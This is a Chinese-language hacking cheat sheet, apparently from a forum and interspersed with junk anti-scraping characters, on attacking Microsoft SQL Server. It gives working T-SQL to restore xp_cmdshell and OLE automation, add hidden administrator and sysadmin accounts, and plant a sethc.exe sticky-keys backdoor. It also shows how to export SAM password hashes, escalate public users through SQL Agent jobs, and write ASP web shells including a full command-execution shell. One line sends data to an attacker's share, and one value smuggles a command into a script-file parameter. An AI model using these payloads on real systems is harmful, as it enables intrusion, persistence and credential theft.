1 未能找到存储过程'master..xpcmdshell'. EXEC master.dbo.sp_addextendedproc 后用下面的三种方法,在注入点上执行加个空格和;号
: M% c& F! H$ z2 r( M. |) T' C! m7 W6 P恢复方法:查询分离器连接后,: S, I; {% W7 T# c
第一步执行:EXEC sp_addextendedproc xp_cmdshell,@dllname ='xplog70.dll'declare @o int : ]) G4 g# ~$ U/ ?) d% ] w
第二步执行:sp_addextendedproc 'xp_cmdshell', 'xpsql70.dll' c- R: o# n' _" z) T ~
然后按F5键命令执行完毕( @( h, t: E& q+ D
. x- g4 ^+ x: |) _" H3 z
2 无法装载 DLL xpsql70.dll 或该DLL所引用的某一 DLL。原因126(找不到指定模块。)
% g* r/ D: W: V# O2 g/ Y( ?8 X/ R恢复方法:查询分离器连接后,
: p- N' k3 p. C第一步执行:EXEC master.dbo.sp_dropextendedproc "xp_cmdshell". _- B1 g/ X! ~! |0 ?( C# }5 r+ d2 y
第二步执行:EXEC master.dbo.sp_addextendedproc 'xp_cmdshell', 'xpsql70.dll'% ~% y" O8 w$ ~; x- X; ]' O
然后按F5键命令执行完毕2 n: R4 x* M# F
6 w" n& l+ S. u' K) _! X
3 无法在库 xpweb70.dll 中找到函数 xp_cmdshell。原因: 127(找不到指定的程序。)! J0 \) J! W7 @6 v6 b3 t# U
恢复方法:查询分离器连接后,+ g. H3 H, z3 S4 ^" q' r3 S
第一步执行:exec sp_dropextendedproc 'xp_cmdshell'* V2 V$ [8 |1 n7 N
第二步执行:exec sp_addextendedproc 'xp_cmdshell','xpweb70.dll'
* H/ [5 B6 ~- L- W/ G; R" l9 Y4 _: b然后按F5键命令执行完毕
1 m0 e! u; B! F, b1 f
: m" K l( T% J% ~4 终极方法.8 e* O% W; v: K
如果以上方法均不可恢复,请尝试用下面的办法直接添加帐户:, S0 L. B$ n, f' \9 r1 L# y
查询分离器连接后,8 v {( k1 k) L- F
2000servser系统:
2 Z' L8 ~& r C5 odeclare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\winnt\system32\cmd.exe /c net user 新用户 密码 /add'0 X0 m1 H; [! ]4 j3 z5 L
5 F6 M) c5 H' n* ?. f- k8 N0 l ^declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\winnt\system32\cmd.exe /c net localgroup administrators 新用户 /add'
$ @, h, D) B0 F- z7 \) Z, s$ K5 z3 e: J1 j
xp或2003server系统:) U8 }0 w% }$ Z# i& G p1 }
~1 s/ m: u+ H2 @
declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c net user 新用户 密码 /add'/ g6 m6 _! n4 u7 N/ J4 ?
9 e+ C2 ]- E6 R1 T( Gdeclare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c net localgroup administrators 新用户 /add' m A7 k8 J B; R$ l3 I& J1 S( s' p
3 p3 f% q9 Q B4 J& Z0 [9 S# k
4 g% W! t0 m z4 i) B! W2 p' ?+ H8 T' _5 R
五个SHIFT
/ _' y7 I1 o3 D' K; r8 R/ [( Q* Vdeclare @o int exec sp_oacreate 'scripting.filesystemobject', @o out exec sp_oamethod @o, 'copyfile',null,'c:\windows\explorer.exe' ,'c:\windows\system32\sethc.exe';
2 n, v7 n. W/ ]; |( \( u% K$ K( f$ J5 f9 ^- Q2 v) n% J- ?; y
declare @oo int exec sp_oacreate 'scripting.filesystemobject', @oo out exec sp_oamethod @oo, 'copyfile',null,'c:\windows\system32\sethc.exe' ,'c:\windows\system32\dllcache\sethc.exe';
/ F. a: d+ B2 m/ C9 h
1 J5 k1 N( c, W: Axp_cmdshell执行命令另一种方法- W: m" ^( J, l1 g
declare @a sysname set @a='xp_'+'cmdshell' exec @a 'net user refdom 123456 /add'
/ t# P5 X b- C. K4 o% b1 D8 H- g! P/ G! _1 X' B
判断存储扩展是否存在
T& x0 H; n1 i( s3 \" ^$ F! \# {Select count(*) from master.dbo.sysobjects where xtype='X' and name='xp_cmdshell'
0 S6 M% W3 T3 Z6 s0 \+ I! e返回结果为1就OK; O8 w/ F' H( _" M2 b
s& m0 x+ h; Y9 l! L+ Y B( D; B _# {2 [& u% _# b
上传xplog70.dll恢复xp_cmdshell语句:
/ k8 K' V Y) Z1 Rsp_addextendedproc xp_cmdshell,@dllname='E:\newche2\about\XPLOG70.DLL'
/ Y) L' I5 ^. {4 S' ^" g# k% h" j/ K; |1 a! K5 \, X
否则上传xplog7.0.dll
$ s: a+ L$ H& x, E% H6 e8 rExec master.dbo.addextendedproc 'xp_cmdshell','C:\WinNt\System32\xplog70.dll'
. c) H, w7 K% [0 ^; z4 _. {9 q1 K& L5 g" R6 W% [
4 x# F3 k; T( L9 Y3 j7 D5 g2 d' {% x" U- W* a* Q$ H
首先开启沙盘模式:
; K3 t" A3 ?' bexec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',1. C- E \+ I: k. |7 I) P! Y
& O" ?+ k5 t- U! \) Y) k _然后利用jet.oledb执行系统命令
- d! n: F% N. |, S1 m0 k1 |' q0 l2 e! Uselect * from openrowset('microsoft.jet.oledb.4.0',';database=c:\winnt\system32\ias\ias.mdb','select shell("cmd.exe /c net user admin admin1234 /add")')
' V* P0 x" N# g0 E2 t+ R% s0 ?9 y返回 不能找到c:\windows\system32\ias\ias.mdb错误,用exec master..xp_dirtree 'c:\windows\system32\ias\ias',1,1-- 发现c:\windows\system32\ias\ias.mdb没了,应该是被管理员删掉了,还有另一个mdb也没了
' T6 ^3 i3 x" \- U1 B3 \4 D o: K6 g
$ q1 N3 G+ N1 d$ l! M) w7 n$ p: D4 Z5 V( j, S4 b
* ~7 V5 P j$ {
恢复过程sp_addextendedproc 如下: " k1 }" e; ^; ], m" H+ |+ W* s
create procedure sp_addextendedproc --- 1996/08/30 20:13
4 b. I- c4 Y) ?( K& T4 p( P; s+ j@functname nvarchar(517),/* (owner.)name of function to call */ , X1 e1 A- r- D" Y9 _! u3 S
@dllname varchar(255)/* name of DLL containing function */
7 r0 n7 ]$ R! h( z7 V& m9 kas . f; i4 U! s/ T9 X) J
set implicit_transactions off
) h- N# u' e. n& Z9 q& g, q, v3 Oif @@trancount > 0
! H0 r, K3 I% W" H+ J/ vbegin ' C7 C# _! V2 ?9 b+ r0 E( _
raiserror(15002,-1,-1,'sp_addextendedproc') / P( h- F- F" b% R9 L7 \+ J
return (1) % B( [5 c" a( L# t1 j- J+ s' f
end ! K* `/ O7 p4 X9 f2 R: R8 Y* d
dbcc addextendedproc( @functname, @dllname)
& C, K, M- Q- Q1 w; t+ h% {return (0) -- sp_addextendedproc
& V* Q) h ?0 L# A* \+ S2 XGO
; s/ ~1 S4 {/ D4 D( F2 ~# B/ y5 A/ }! i& X4 e/ v
# r" }! w" t9 d4 x B' d8 _2 o/ y
导出管理员密码文件
& G) i+ X8 j6 P& hsa默认可以读sam键.应该。
7 N, T" K: ?% y4 g, i9 m9 ireg export HKLM\SAM\SAM\Domains\Account\Users\000001F4 c:\old.reg
, q! I# q9 E9 P7 ~net user administrator test5 L( R9 K9 G* X" N( f* p$ _7 Z) X& f$ s
用administrator登陆.! m7 A$ g" s3 d! A
用完机器后
, W2 w# u, a3 N2 greg import c:\test.reg
! c @1 }; P+ O根本不用克隆.
6 N' C7 k, d1 X4 N% {5 @找到对应的sid.
/ I; a5 _" o' ]9 O: I+ w' t% R
. r$ H& `+ V J. B9 \
- K, o4 c2 ?, S8 g( r
6 z/ F4 j I. e" w; W. V9 C恢复所有存储过程3 z+ p, _* Y- w" K* c. j' B
use master
2 m6 N) K6 O) L1 }+ G! D( ]- t0 eexec sp_addextendedproc xp_enumgroups,'xplog70.dll'
4 E) ?/ U6 B! A) j6 rexec sp_addextendedproc xp_fixeddrives,'xpstar.dll'
: A }( S( g }* B6 C" `- i Iexec sp_addextendedproc xp_loginconfig,'xplog70.dll'
: n+ h& y; ?0 c3 Lexec sp_addextendedproc xp_enumerrorlogs,'xpstar.dll' 8 ^+ I8 r) y* Z, @" Z: k: M
exec sp_addextendedproc xp_getfiledetails,'xpstar.dll'
( [0 J5 S) A3 Z9 o. i9 L8 Y# sexec sp_addextendedproc sp_OACreate,'odsole70.dll'
% l) z' x/ S! w3 n# c: s! kexec sp_addextendedproc sp_OADestroy,'odsole70.dll'
! B' L( J4 d6 j$ ?exec sp_addextendedproc sp_OAGetErrorInfo,'odsole70.dll' % X. N) o8 @; Z; V g: W
exec sp_addextendedproc sp_OAGetProperty,'odsole70.dll'
* `8 a2 V9 [! Xexec sp_addextendedproc sp_OAMethod,'odsole70.dll' ( `% j# F1 X) q9 Q' Z3 V6 K
exec sp_addextendedproc sp_OASetProperty,'odsole70.dll'
O, ~& D8 g6 n+ Bexec sp_addextendedproc sp_OAStop,'odsole70.dll'
: b5 x* S, J' d! F- nexec sp_addextendedproc xp_regaddmultistring,'xpstar.dll'
6 i) S) n; [, Q. ]exec sp_addextendedproc xp_regdeletekey,'xpstar.dll' 3 `8 g% M; ?% p6 R) U( ?
exec sp_addextendedproc xp_regdeletevalue,'xpstar.dll' 7 ]! y) h$ k( a9 U# u; V! c
exec sp_addextendedproc xp_regenumvalues,'xpstar.dll' . ^) F! z. S5 x+ ^
exec sp_addextendedproc xp_regread,'xpstar.dll' - h, h! F# ?' w
exec sp_addextendedproc xp_regremovemultistring,'xpstar.dll' + {& d9 V+ W `1 S
exec sp_addextendedproc xp_regwrite,'xpstar.dll'
& a4 z! V( Q3 w Q- a1 w6 H8 {) Uexec sp_addextendedproc xp_availablemedia,'xpstar.dll'! s5 }' j" p0 M) d: k
0 H1 L r) ^) B0 X
) X2 X. p/ }% [5 m3 N
建立读文件的存储过程
( ?7 k# v* ?7 F1 }( ZCreate proc sp_readTextFile @filename sysname
- L! g4 o/ P% Qas
x6 G: j4 M$ g$ ~
. x7 l% Z: k' @8 X3 D) R# @ begin
4 i/ N+ s+ P5 f$ G$ E* O set nocount on
% R( i8 ]8 }0 o Create table #tempfile (line varchar(8000))3 @8 T3 Y, ]; j5 T6 E
exec ('bulk insert #tempfile from "' + @filename + '"')8 r; l2 P# t# d* x
select * from #tempfile
3 ^$ w& \; \9 ]3 v# |. x' m) P drop table #tempfile, Y: o c4 d! N& x# p0 S! o- H
End
9 m% `# c8 F3 B! `8 m
: ~ \, n, a- X7 W- [exec sp_readTextFile 'D:\testjun17\Teleweb-Japan\default.asp' 利用建立的存储过程读文件
2 M7 }) ~' o# ]4 ]/ \. D& Z3 a查看登录用户
@ |4 \. v. i, ^. A0 O! g6 \3 [3 gSelect * from sysxlogins
8 b7 O8 Z2 w7 n9 X0 d' h" d$ y( X" H6 Z. }& Q1 H E, x/ J0 P" Z
把文件内容读取到表中% X8 e8 u" V- o* E
BULK INSERT tmp from "c:\test.txt"
5 K% J2 K4 ^ u) B2 p# _7 U9 {$ PdElete from 表名 清理表里的内容
% |3 Y9 C. @/ Y8 J1 Z: hcreate table b_test(fn nvarchar(4000));建一个表,字段为fn
) T, J1 a# \. ]( ]8 P C5 P, H$ x! T6 |( ? s
4 `8 D; L) ?& |" C' P
加sa用户4 h* Y& [8 e$ S1 D! ~
exec master.dbo.sp_addlogin user,pass;
! H5 K* A. u" Yexec master.dbo.sp_addsrvrolemember user,sysadmin9 k. O+ Z. [; M: {. Q
+ `8 K, ~: N& N, r1 a+ {- I) {' j6 t3 }1 \: e5 h' g5 s2 J
6 F# w% D; u) c. V A4 w
读文件代码
3 L/ N Z4 S5 b+ Tdeclare @o int, @f int, @t int, @ret int; R# b' p* H& J2 n) u
declare @line varchar(8000)$ L% m# C" ]. d" A1 m0 g
exec sp_oacreate 'scripting.filesystemobject', @o out
9 l W- P' T7 ]1 Kexec sp_oamethod @o, 'opentextfile', @f out, '文件名', 1
! G! B) n' ^; C2 Iexec @ret = sp_oamethod @f, 'readline', @line out
+ v# w. ~$ Y# E& A; r- pwhile( @ret = 0 ). d$ S( c6 S' |6 [8 o* a! }& |. r
begin- M4 Y! j" i* L9 B
print @line9 @4 y' e; Q7 f# V
exec @ret = sp_oamethod @f, 'readline', @line out
8 f+ n& e" R \ U* Y, Z: O9 N% _end2 s5 c$ k$ e1 u
2 |' l. y: l a
! e- F' R' ?* \$ {写文件代码:
+ O# ]% v E3 b7 `declare @o int, @f int, @t int, @ret int/ c$ d9 o* }5 a
exec sp_oacreate 'scripting.filesystemobject', @o out
2 B/ M$ m* W0 w* pexec sp_oamethod @o, 'createtextfile', @f out, 'd:\Program Files\RhinoSoft.com\Serv-U\ServUDaemon.ini', 16 Y/ ?* t9 c/ Q' ?5 ]6 i
exec @ret = sp_oamethod @f, 'writeline', NULL, 《内容》% f9 w3 J3 k( ^$ t) G& J
% b( T' y% B, x D2 [/ b2 x1 T0 e3 h! }6 z" S
添加lake2 shell
$ y% D/ u+ ~# qsp_addextendedproc 'xp_lake2', 'c:\recycler\xplake2.dll'( N/ a$ i; s, z: u. w `0 `
sp_dropextendedproc xp_lake2: Z, b" |& E1 u+ ~' D
EXEC xp_lake2 'net user'
6 f3 Z5 a- s/ T: C# t, a4 M4 M; Q: S; D% l% E6 }
$ i- }; x' V5 j% }; Z! h3 U得到硬盘文件信息
0 A' ?# m: l5 G; T& j--参数说明:目录名,目录深度,是否显示文件
0 k+ i$ d, { [execute master..xp_dirtree 'c:' - E! Z1 _/ [: W- e4 P
execute master..xp_dirtree 'c:',1
$ m: r' T' J; G/ A1 @1 m; e9 ]execute master..xp_dirtree 'c:',1,1 ! ]) x" ~. t" k! v% Z
* p/ c# R6 v0 N. E3 b6 u3 y
* m7 M; t6 W8 l9 s( d读serv-u配置信息
4 e* r5 r: ]$ G1 A7 u" r& m/ ~exec sp_readTextFile 'd:\Program Files\RhinoSoft.com\Serv-U\ReadMe.txt' M! e. Z7 e2 h+ ~9 _( M0 I
exec sp_readTextFile 'd:\Program Files\RhinoSoft.com\Serv-U\ServUDaemon.ini'5 u5 t, x5 A1 t0 q4 _/ ^
0 E/ s4 b1 E5 a6 {$ [3 e; ~通过xp_regwrite写SHIFT后门
: e% }' D2 r' ?* Z0 K* kexec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe','debugger','REG_sz','c:\windows\system32\cmd.exe on';--
0 d" P5 j& ]7 f5 F
0 d# Q/ e! \ _# m! e4 m( X/ m( Z2 {
1 P8 [0 T( s5 F* J找到web路径然后用exec master.dbo.xp_subdirs 'd:\web\www.xx.com';
; w5 f& d( a# `; aexec sp_makewebtask 'd:\web\www.XXXX.com\XX.asp','select''<%execute(request("SB"))%>'' '备 份一个小马就可以了% F* @& ~. W2 s1 M! B4 s
8 M Z. B4 U/ j4 m* hEXECUTE sp_makewebtask @outputfile = ‘WEB绝对路径\导出的文件名.asp',@query = 'SELECT 你的字段 FROM 你建的临时表'- }3 w1 j! p6 [4 i0 h2 |
- J6 J3 j# e' O5 l" c& Z7 W
( t' [- C7 t$ _; m: [
, p. C' B0 b/ B- F7 w8 r* p
sql server 2005下开启xp_cmdshell的办法, n9 _- D$ U: j4 e3 d
1 r! F. q: ~& X: \) E" F. u
EXEC sp_configure 'show advanced options', 1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell', 1;RECONFIGURE;
1 x9 r- P1 r$ @ o; P( T% D( H. H. g
SQL2005开启'OPENROWSET'支持的方法:1 v2 k* G7 j2 O+ K6 E. t/ f0 B3 D
& h3 _( G" x& M+ v6 W2 m/ B- D9 D, ?
exec sp_configure 'show advanced options', 1;RECONFIGURE;exec sp_configure 'Ad Hoc Distributed Queries',1;RECONFIGURE;
! E! O. a7 v$ g, _% V a/ }1 F) C& I9 @% A7 K. ~8 C# T
SQL2005开启'sp_oacreate'支持的方法:
! C! m9 y9 ^( h# g4 }/ |/ h! I" y4 U5 F' B" X1 S, @! G& w/ B
exec sp_configure 'show advanced options', 1;RECONFIGURE;exec sp_configure 'Ole Automation Procedures',1;RECONFIGURE;* m3 Y2 e1 e, y: ~
; Q" \/ }7 I" W" |, }' i6 E
5 Z$ ?2 R W! M% ]. }. v5 s" s$ T6 | ~6 i
: ~* C$ o8 j1 |' M d% [
5 W8 ?+ }# a0 z Q8 z$ S- ?5 l9 }
. L: ~( O! A& d; Y; f/ e# o; Y2 a9 \; [( X2 _; O5 f
( f7 t6 K+ `7 Z) j; z# c6 g# |& E" f. R- b
) Z* i0 w! F/ f- V6 S: r1 i
/ J% s" G& p# H. Q6 L6 ^+ B
* _+ ~& i$ f, z/ ]7 X
& N+ L8 l3 i& m; n1 `8 `# X
* r% e3 t2 i% \, Q! {3 o1 R+ z7 ?+ _
- e. l0 Q. B( T4 W9 o+ E% O
, Y3 S8 m2 C. D, [9 ~/ {% a
( y) A8 v7 C1 |0 T L) V3 k5 D. [# b+ n" N" O( b
* z V% m, ?. s+ Y, k% y n2 Y& q l/ y8 I! P8 _6 R
+ u% C1 h+ v8 T
; j; Z/ s8 A J% B- d
; y* C- P( t2 T0 n; y) I5 l* ?以下方面不知道能不能成功暂且留下研究哈:
3 B9 i: {0 L7 G9 n4)8 B1 v B+ K. ^4 F
use msdb; --这儿不要是master哟
- \* c7 x/ e Hexec sp_add_job @job_name= czy82 ;" r+ D* Z2 K$ [9 q3 @3 X2 l# S
exec sp_add_jobstep @job_name= czy82 ,@step_name = Exec my sql ,@subsystem= CMDEXEC ,@command= dir c:\>c:\b.txt ;: T. x8 g4 N7 p: X$ p
exec sp_add_jobserver @job_name = czy82 ,@server_name = smscomputer ;
# E, f& G' X6 z9 a8 pexec sp_start_job @job_name= czy82 ;. h6 z { @8 X) ~
, n' t* R8 s) X' G4 f [* ?# O利用MSSQL的作业处理也是可以执行命令的而且如果上面的subsystem的参数是tsql,后面的我们就可以/ P1 `( n4 U8 V) w& f/ Y* t2 C3 u
执行tsql语句了.
1 r( { b: x' k8 v- \对于这几个储存过程的使用第一在@server_name我们要指定你的sql的服务器名
$ \7 T- T* B1 w/ X) u4 g第二系统的sqlserveragent服务必须打开(默认没打开的气人了吧)7 | t; |8 r* `" Y1 L% y1 O! Q4 G: F
net start SQLSERVERAGENT
4 d8 S, c# A/ ^) d& N( s9 @! k- l4 a4 F
对于这个东东还有一个地方不同就是public也可以执行..同这儿也是有系统洞洞的看下面的
, F9 H) t- @3 |8 f, n6 n9 e4 |USE msdb
! E) W9 ]. c* G3 P" {EXEC sp_add_job @job_name = GetSystemOnSQL ,
! k) c: d$ T' p6 h9 p) _* ]@enabled = 1,2 B- q3 W& J5 B. U$ b; q2 Y1 S
@description = This will give a low privileged user access to
. V" S8 f+ _) S7 S' v" f; [xp_cmdshell ,
; X( X( t! J- y8 e@delete_level = 1/ n& c5 ?& x* `, w3 ^5 M
EXEC sp_add_jobstep @job_name = GetSystemOnSQL ,( z+ N2 h: l6 m. e5 r6 l
@step_name = Exec my sql ,
* j* C. e' c5 }1 U@subsystem = TSQL ,) s6 [ N! I9 Q) A' b0 x% _1 E
@command = exec master..xp_execresultset N select exec6 f1 c$ P" j0 I8 M- D9 W
master..xp_cmdshell "dir > c:\agent-job-results.txt" ,N Master
3 I5 _- \& \' `3 B) v% ^. K: vEXEC sp_add_jobserver @job_name = GetSystemOnSQL ,1 I, V% i" m, l, O L
@server_name = 你的SQL的服务器名 1 u. u0 S ^% c/ d
EXEC sp_start_job @job_name = GetSystemOnSQL
" a9 V% J9 m0 K6 S4 O8 r+ Y7 s* P
k" x% N0 b6 g9 ^* N! R不要怀疑上面的代码,我是测试成功了的!这儿我们要注意xp_execresultset就是因为它所以0 R+ L. d. ?/ l: X/ ^" b5 R# h
才让我们可以以public执行xp_cmdshell! m" R6 V X/ c! C
6 I/ t) B% c7 C0 \
5)关于Microsoft SQL Agent Jobs任意文件可删除覆盖漏洞(public用户也可以)4 E# g6 C& D0 S! O& U$ s
在安焦有文章:http://www.xfocus.net/vuln/vul_view.php?vul_id=2968" F/ I* Q. U; c# {0 ?7 V1 p
2 A( a5 y- d+ HUSE msdb+ b5 _( ?# `; q4 h! c
EXEC sp_add_job @job_name = ArbitraryFilecreate ,
c n/ P+ D! w/ l7 N9 B@enabled = 1,2 e% d# {( z4 f9 d: ?- v, A
@description = This will create a file called c:\sqlafc123.txt ,' x* S+ d9 Q6 I/ r! |, o `( r' \
@delete_level = 11 J1 B8 G) Y: s. t+ \. c+ D
EXEC sp_add_jobstep @job_name = ArbitraryFilecreate ,* c" p# g2 Z' M: p0 R
@step_name = SQLAFC ,+ @. v( t% C" L* z: U; x
@subsystem = TSQL ,
6 B( w4 @0 b! `8 B8 j@command = select hello, this file was created by the SQL Agent. ,$ R2 `- s6 r' S8 j
@output_file_name = c:\sqlafc123.txt 5 {: z4 @: Z0 b: u+ l, L. l3 G" u
EXEC sp_add_jobserver @job_name = ArbitraryFilecreate ,2 i4 I% C3 T4 s" R) E# D H
@server_name = SERVER_NAME
J! T+ x- U7 U5 MEXEC sp_start_job @job_name = ArbitraryFilecreate
& @# J8 x$ r; `3 l% D2 n
- Y# v6 D- h, b$ O" r如果subsystem选的是:tsql,在生成的文件的头部有如下内容
6 Z! s9 C3 R9 @' L! _' ]( }7 o. @
9 b7 @7 s5 U" W7 }??揂rbitraryFilecreate? ? 1 ?,揝QLAFC? ???? 2003-02-07 18:24:19$ w- ?- y/ n0 n0 i6 t$ }3 O
----------------------------------------------8 g; I$ o0 V! T% s1 b7 z; e
hello, this file was created by the SQL Agent., O# P: o: M# P: f$ f# @ |
% C0 S6 M9 W9 h7 n5 I3 A
(1 ?????)# J0 o( j. |" r: U a, b
" G- i V V- S7 r7 \: P5 ]所以我建议要生成文件最好subsystem选cmdexec,如果利用得好我们可以写一个有添加管理员0 C. b3 ^, Q( }7 @
命令的vbs文件到启动目录!1 c+ G- p% \ @ g% n8 o+ q
8 T6 G2 l7 T# T
6)关于sp_makewebtask(可以写任意内容任意文件名的文件)
5 K; y4 D' H. K+ Q7 V: M6 X关于sp_MScopyscriptfile 看下面的例子
. s! R8 M0 D. ]4 K/ ]) ^' Z5 [% p6 adeclare @command varchar(100) 1 S3 h+ n$ Q# \# o$ q7 `8 F6 x- _
declare @scripfile varchar(200)
2 y" W" R' r1 M( P9 ]3 ^* ^% Dset concat_null_yields_null off / _. Z* j4 v- O2 u# V3 `
select @command= dir c:\ > "\\attackerip\share\dir.txt"
& B- h) t# @9 }: V$ n( Kselect @scripfile= c:\autoexec.bat > nul" | @command | rd "
8 ?8 @) S: c- i' ^" g# a+ Mexec sp_MScopyscriptfile @scripfile ,
( J# O a; L8 B/ Y6 i0 B5 o
+ ? q- h/ v: q8 s8 U; v# X这两个东东都还在测试试哟; |* d5 d/ _3 ~- g5 u" w( v
让MSSQL的public用户得到一个本机的web shell
9 y1 G$ w. } \1 ?/ G' v
* P. u5 j0 z- m5 `sp_makewebtask @outputfile= d:\sms\a.asp ,@charset=gb2312,
8 D3 W4 U0 ^0 v; C$ Y9 N5 V--@query= select <img src=vbscript:msgbox(now())>
( q |6 j6 l( l- ^--@query= select <%response.write request.servervariables("APPL_PHYSICAL_PATH")%> % X+ @/ f+ X2 U: }7 C# H0 _6 E1 I
@query= select 1 X* L/ j1 w2 d1 [: f3 V
<%On Error Resume Next
P# U" _7 r! J2 b9 MSet oscript = Server.createObject("wscript.SHELL") * f3 K4 O! t( I& L: A9 \
Set oscriptNet = Server.createObject("wscript.NETWORK") . A Z: Q, t7 q. V) O$ v% s7 _
Set oFileSys = Server.createObject("scripting.FileSystemObject")
/ b7 R: e; e1 x# u S: sszCMD = Request.Form(".CMD")
% O* `* U2 s' z2 p# ], a7 x U1 k5 OIf (szCMD <>"")Then / v9 N: d- R( n. _( i0 P7 {
szTempFile = "C:\" & oFileSys.GetTempName() 1 @1 S7 e5 i9 M# E0 ?/ V! Y
Call oscript.Run ("cmd.exe /c " & szCMD & " > " & szTempFile, 0, True) . }4 J! U0 I2 F8 q2 s# V' F. J. ^
Set oFile = oFilesys.OpenTextFile (szTempFile, 1, False, 0)
+ u+ T% F& Q6 b# N* EEnd If %>
" M! r& X+ ^7 B<HTML><BODY><FORM action="<%= Request.ServerVariables("URL")%>" method=" OST">
* } {) G& ?- Q7 F- ?1 p! I3 M<input type=text name=".CMD" size=45 value="<%= szCMD %>"><input type=submit value="Run">
3 o: Z) z& }. }# Q. T+ d</FORM>< RE>
& _# P. y) i: k, a1 y. ?+ r7 }<% If (IsObject(oFile))Then 3 [; O" K6 \4 r& I. W( c" U
On Error Resume Next 1 x* F/ I3 }' j5 d
Response.Write Server.HTMLEncode(oFile.ReadAll) T* D' h* y: h( `
oFile.Close 4 { |0 b" N% h, H t5 f; p
Call oFileSys.deleteFile(szTempFile, True)
# ~8 F! Y# I6 l! aEnd If%>
0 }# C' q- L+ J# ]" U- w, L9 v</BODY></HTML>
6 I+ j4 @3 B) [ |